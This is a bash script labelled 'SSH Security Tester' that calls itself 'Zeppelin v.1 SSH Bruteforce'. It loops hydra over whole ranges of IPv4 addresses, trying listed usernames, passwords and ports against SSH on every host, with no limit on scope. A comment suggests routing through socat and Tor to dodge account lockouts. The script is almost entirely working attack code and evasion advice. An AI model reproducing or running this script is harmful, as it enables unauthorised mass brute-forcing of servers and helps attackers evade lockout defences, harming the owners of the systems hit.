SSH Security Tester

 #!/bin/bash
 ################################################
 # -=[Advanced Information Security Corp]=- ##
 ################################################
 # Keeping things simple!

 # list of usernames in username.lst
 # list of passwords in wordlist.lst
 # list of ports to scan in portnumber.txt
 # for sem parallel check www.gnu.org/s/parallel
 # to prevent account lockouts you can use # socat+tor with refresh intervals to replicate.
 #
 # ./zep.sh x x x x

 OLDIFS=$IFS
 IFS=$'\n';
 set -f
 echo " ~ Zeppelin v.1 SSH Bruteforce ~ "
 echo " _..--=--..._ "
 echo " .-' '-. .-. "
 echo " /.' '.\/ / "
 echo " |=- -=| ( "
 echo " \'. .'/\ \ "
 echo " '-.,_____ _____.-' '-' "
 echo " [_____]=8 "
 echo " "
 echo "-----------------------------------"
 echo "-=[Advanced Information Security]=-"
 echo "-----------------------------------"
 for ((x = $1; x < 255; x++));
 do
 for ((y = $2; y < 255; y++));
 do
 for ((z = $3; z < 255; z++));
 do
 for ((f = $4; f < 255; f++));
 do
 for a in $(cat username.lst);
 do
 for e in $(cat wordlist.lst);
 do
 for p in $(cat portnumber.txt);
 do
 class=$x.$y.$z.$f
 parallel=40
 hydra=`hydra -l "$a" -P "$e" -t 7 -w 5 -s "$p" -f "$class" ssh & `
 #hydra=`sem -j "$parallel" hydra -l "$a" -P "$e" -t 7 -w 5 -s "$p" -f "$class" ssh`
 echo " [~] ~ Attacking $x.$y.$z.$f with username: $a password: $e"
 $hydra
 done;
 wait
 done;
 done;
 done;
 done;
 done;
 done

 IFS=$OLDIFS
 set +f